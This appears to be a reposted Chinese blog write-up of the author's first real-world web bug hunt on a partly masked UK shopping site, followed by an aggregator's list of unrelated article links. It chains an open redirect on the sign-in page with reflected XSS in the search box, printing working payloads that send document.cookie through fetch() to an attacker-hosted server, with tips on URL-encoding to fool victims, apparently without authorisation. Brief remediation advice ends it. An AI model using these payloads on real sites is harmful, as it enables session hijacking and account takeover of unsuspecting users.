我的第一次真实对国外某购物平台web漏洞挖掘

news2024/11/15 11:25:04

(真实世界)我的第一次真实对国外某购物平台web漏洞挖掘

  • 开放重定向 - 低危
  • XSS - 低危

这两组合起来就完全不一样一点的,个人觉得比原本高一些

危害:窃取用户敏感数据、用户cookie、钓鱼操作 等…

前言

这是我第一次,真实世界的web漏洞挖掘(开发重定向 + xss)

虽然这两个漏洞都比较简单,但这是我第一次的真实漏洞挖掘,当然要记录一下,哪怕再简单
虽然这两个漏洞都比较简单,但这是我第一次的真实漏洞挖掘,当然要记录一下,哪怕再简单
虽然这两个漏洞都比较简单,但这是我第一次的真实漏洞挖掘,当然要记录一下,哪怕再简单

这次漏洞挖掘是无意的,这是我在做题的时候,题目需要我进行信息收集,我收集到相关的一个网站,于是在这个网站多看了几眼,发现了漏洞


首先我打开这个网站的第一件事,也是最简单的:查看源代码

在这里插入图片描述

源代码:

在这里插入图片描述

在源代码中发现这一个url


url参数重定向 - OpenRedirect

分析:

/sign-in?redirect=

这里我测试过,因为这里是用户登录页面

  • 如果用户未登录,则在用户登录成功后,重定向到redirect参数指定的url
  • 如果用户已登录,则直接跳转到redirect参数指定的url

当我尝试修改redirect参数,改成百度:

在这里插入图片描述

在已登录状态下,确实重定向到百度去了


open redirect的好兄弟

我们都知道,单单一个开放重定向通常情况下危害不大,甚至可以忽略不计,没啥用

但是可以搭配其他漏洞来做一套组合拳,这个漏洞就是xss.

通过开放重定向漏洞将受害者重定向到被攻击者控制的具有xss漏洞的页面上,执行恶意js代码

通过这套开放重定向 + xss

攻击者很容易获得一些信息,如:

  • 用户的cookie
  • 攻击者期望的操作,例如:下单、修改账户等相关操作
  • 社会工程 - 攻击者利用xss构建恶意代码,攻击者诱导受害者填写隐私信息以获取攻击者想要获取的受害者的信息

等等等等


所以现在我们的当务之急应该寻找xss漏洞,打一套组合拳

XSS - 反射型

果不其然,经过tryhackme的训练,我一下子就找到了

就在网站主页的搜索功能

一开始尝试sql注入,但是无果

但是第二次尝试寻找漏洞的时候,我发现输入的内容会拼接到回显页面中,于是开始尝试xss

在这里插入图片描述

它直接镶嵌到span标签中

我直接绕出去了,毫无难度,成功找到反射xss漏洞


XSS + OpenRedirect - 组合拳

兔年万事如意,心想事成

现在我们可以尝试简单的利用xss+开放重定向获取用户的cookie

构造XSS Payload:

https://www.nonono.co.uk/search?nonono='<script>fetch('//<攻击者http服务器>/?cookie='+btoa(document.cookie));</script>

注意:这里的fetch函数中的url不能携带有http://或https://,否则会失败,所以使用//

最好不要有空格,因为此payload稍后将会放到url参数中


我们可以直接验证此payload是否有效:

在这里插入图片描述

可以看到它携带着cookie去请求攻击者托管的http服务器去了!

在这里插入图片描述

现在让我们将xss和开放重定向组合起来:

实现让用户点击我们的精心设计过的登录url,即可窃取该用户的cookie等

如果通过钓鱼等方式令网站管理员点击此恶意链接会发生什么事?

我很难想象,毕竟这个平台有些地方甚至没有csrf防护,也别忘了我们还有xss

回归正题

首先,随便注册个账户并登录

在这里插入图片描述

XSS Payload:

https://www.nonono.co.uk/search?nonono='<script>fetch('//<攻击者http服务器>/?cookie='+btoa(document.cookie));</script>

OpenRedirect Payload:

https://www.nonno.co.uk/sign-in?redirect=https://www.nonono.co.uk/search?nonono='<script>fetch('//<攻击者http服务器>/?cookie='+btoa(document.cookie));</script>

解析:当已登录用户点击此OpenRedirect payload的url,将重定向到xss漏洞处并执行我们指定的恶意js代码,这里的js代码使用fetch发送请求到我们攻击者的http服务器并附带cookie

在这里插入图片描述

至此漏洞利用完成,攻击者将获取受害者的cookie,甚至其他任何操作!

只要适当的将payload进行urlencode,受害者可能根本无法判断!

更进一步的利用:OpenRedirect + XSS,再加csrf等等等等,危害还能在提升


漏洞修补建议

OpenRedirect

  • 不要使用url参数(GET or POST)来进行重定向,即便使用,也要做好防护,避免idor
  • 完善各个功能的csrf防护

XSS

  • 做好用户输入检测,检测到黑名单字符直接禁止访问
  • 过滤特殊字符

结束

事实上我这里只找了两个漏洞,很难猜测其他地方是否还存在其他漏洞。

希望平台管理方认真做好安全防护

这也是我的第一次真实的web漏洞挖掘,我非常的激动,这是一次无意的漏洞挖掘,真的是无意的


不说了,跑路了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/177361.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ABAQUS 二次开发笔记】使用keyword 、python和matlab一起处理Odb数据

我的主页&#xff1a; 技术邻&#xff1a;小铭的ABAQUS学习的技术邻主页博客园 : HF_SO4的主页哔哩哔哩&#xff1a;小铭的ABAQUS学习的个人空间csdn&#xff1a;qgm1702 博客园文章链接&#xff1a; 【ABAQUS 二次开发笔记】使用keyword 、python和matlab一起处理Odb数据 -…

VBA 自定义Add-in

1. 通过下面的链接下载工具&#xff1a;OfficeCustomUIEditorFiles VBA Ribbon - Microsoft Download 2.将上面下载的ZIP文件解压缩后&#xff0c;运行其中的 “CustomUIEditor.exe”&#xff0c; 打开事先准备好的.xlsm文件&#xff0c;例如&#xff1a;self.xlsm。 2-1.点…

Ubuntu20.04+MAVROS+PX4+Gazebo保姆级安装教程

Ubuntu20.04MAVROSPX4Gazebo安装PX4步骤安装MAVROS安装QGCPX4仿真安装PX4步骤 从github上clone源码 git clone https://github.com/PX4/PX4-Autopilot.git --recursive进入PX4-Autopilot文件夹&#xff0c;继续下载未下载完的组件 cd PX4-Autopilot/ git submodule update -…

什么是数据库连接池?Druid(德鲁伊)连接池的使用详细解读

文章目录1. 数据库连接池2. 概念3. 实现4. Druid 连接池的使用5. 总结Java编程基础教程系列1. 数据库连接池 2. 概念 前面在 JDBC API 的使用详细解读文章中&#xff0c;获取的数据库连接对象 conn&#xff0c;在使用时创建&#xff0c;使用完毕就会将其销毁。这样重复创建和销…

Python if else对缩进的要求

Python 是以缩进来标记代码块的&#xff0c;代码块一定要有缩进&#xff0c;没有缩进的不是代码块。另外&#xff0c;同一个代码块的缩进量要相同&#xff0c;缩进量不同的不属于同一个代码块。不要忘记缩进if、elif 和 else 后面的代码块一定要缩进&#xff0c;而且缩进量要大…

【奇妙的数据结构世界】 用经典例题对数组进行全面分析 | C++

第八章 数组 目录 第八章 数组 ●前言 ●一、数组是什么&#xff1f; 1.简要介绍 2.具体情况 ●二、数组典型例题——一维&二维&三维 1.一维数组&#xff08;校门外的树&#xff09; 2.二维数组&#xff08;彩票摇奖&#xff09; 3.三维数组&#xff08…

自己动手写一个操作系统——MBR(1)

文章目录前言MBR1) 512 字节镜像2) 0x55 和 0xAAqemu 运行参考前言 上篇《自己动手写一个操作系统——我们能做什么&#xff0c;我们需要做什么》我们介绍到 BIOS 会遍历每个磁盘的第一个扇区查找 MBR&#xff0c;找到后便将 MBR 加载到内存并跳转过去。如果没找到&#xff0c…

红黑树和平衡二叉树的区别

一.红黑树的定义 1.节点是红色或者黑色&#xff1b; 2.根节点和叶子节点是黑色&#xff0c;叶子节点为空节点&#xff1b; 3.每个红色节点的叶子节点都是黑色&#xff1b; 4.从任何节点到叶子节点的所有路径包含相同数目的黑色节点&#xff1b; 5.红黑树实现平衡和保持红黑…

代码随想录算法训练营三期 day 25 - 回溯 (2) (补)

216. 组合总和III 题目描述: 216. 组合总和 III 原文链接: 216. 组合总和 III 视频链接: 216. 组合总和 III 树形结构 回溯三部曲&#xff1a; ① 确定回溯函数参数及返回值 和 77. 组合 一样&#xff0c;依然需要一维数组 path 来存放符合条件的结果&#xff0c;二维数组 r…

leetcode-每日一题-计算应缴税款总额(简单,数学逻辑)

给你一个下标从 0 开始的二维整数数组 brackets &#xff0c;其中 brackets[i] [upperi, percenti] &#xff0c;表示第 i 个税级的上限是 upperi &#xff0c;征收的税率为 percenti 。税级按上限 从低到高排序&#xff08;在满足 0 < i < brackets.length 的前提下&am…

(19)go-micro微服务filebeat收集日志

文章目录一 Filebeat介绍二 FileBeat基本组成三 FileBeat工作原理四 Filebeat如何记录文件状态:五 Filebeat如何保证事件至少被输出一次六 安装Filebeat七 使用Filebeatfilebeat.yml编写八 最后一 Filebeat介绍 filebeat是Beats中的一员。 Beats在是一个轻量级日志采集器&…

2022——>2023

2022年对于我来说&#xff0c;是极其不平凡的一年&#xff0c;因为在这一年&#xff0c;我面临了人生的第一次重大的选择——高考。老师们常说&#xff1a;“一分压倒一操场人。”这句话是我高考看完自己的成绩之后深有体会的。超过湖南本科线没几分的我&#xff0c;志愿真的是…

剖析“类和对象” (中) -------- CPP

在上一篇博客中 (剖析“类和对象” (上) -------- CPP) 提到&#xff0c;一个类中什么成员都没有的称为“空类”。一个“空类”中真的什么都没有吗&#xff1f; 其实不然&#xff0c;任何类中什么都不写时&#xff0c;编译器会自动生成一下六个默认成员函数。 默认成员函数&am…

Fisco Bcos区块链二(搭建使用控制台,体验Holleworld合约调用)

文章目录区块链开荒技术文档&#xff1a;https://fisco-bcos-documentation.readthedocs.io/zh_CN/latest/index.html2. 配置及使用控制台准备依赖启动并使用控制台3. 部署及调用HelloWorld合约编写HelloWorld合约&#xff08;此处不需要编写&#xff0c;控制台已内置&#xff…

【每日一道智力题】之海盗分金币(上)

文章目录题目&#xff1a;解答&#xff1a;题目变形&#xff1a;解答&#xff1a;总结题目&#xff1a; 5个海盗抢到了100枚金币&#xff0c;每一颗都一样的大小和价值。 他们决定这么分&#xff1a; 抽签决定自己的号码&#xff08;1&#xff0c;2&#xff0c;3&#xff0c;4…

IDEA 2022 创建 Spring Boot 项目详解

如何用 IDEA 2022 创建并初始化一个 Spring Boot 项目&#xff1f; 目录 如何用IDEA 2022创建并初始化一个Spring Boot项目&#xff1f; 0. 环境说明 1. 创建Spring Boot项目 2. 编写初始化代码 0. 环境说明 IDEA 2022.3.1JDK 1.8Spring Boot 1. 创建 Spring Boot 项目…

Linux常用命令——smbclient命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) smbclient 交互方式访问samba服务器 补充说明 smbclient命令属于samba套件&#xff0c;它提供一种命令行使用交互式方式访问samba服务器的共享资源。 语法 smbclient(选项)(参数)选项 -B<ip地址>&…

【SpringCloud20】SpringCloud Alibaba Seata处理分布式事务

目录1.分布式事务问题2.Seata简介2.1 是什么2.2 作用2.3 下载2.4 如何使用3.Seata-Server安装3.1 下载网址3.2 下载版本3.3 seata解压到指定目录并修改文件3.3.1 nacos新增配置文件3.3.2 修改application.yml3.4 数据库新建seata3.5 在seata里建表3.6 启动Nacos端口号88483.7 启…

Spring介绍

Spring是分层的全栈式的轻量级开发框架,以IOC和AOP为核心,官网是https://spring.io Spring优势 1 方便解耦,简化开发 Spring通过容器,将对象的创建从代码中剥离出来,交给Spring控制,避免直接编码造成模块之间的耦合度高,用户也不必自己编码处理对象的单例和多例控制,主要关注接…

C语言基础知识(36)

C语言中的数组和指针有什么区别数组和指针之间的一个重要区别是数组中元素的地址始终是固定的&#xff0c;不能在执行时修改地址&#xff0c;但对于指针&#xff0c;可以根据需要更改指针的地址。分支结构1.简单if语句C语言中的分支结构语句中的if条件语句。简单if语句的基本结…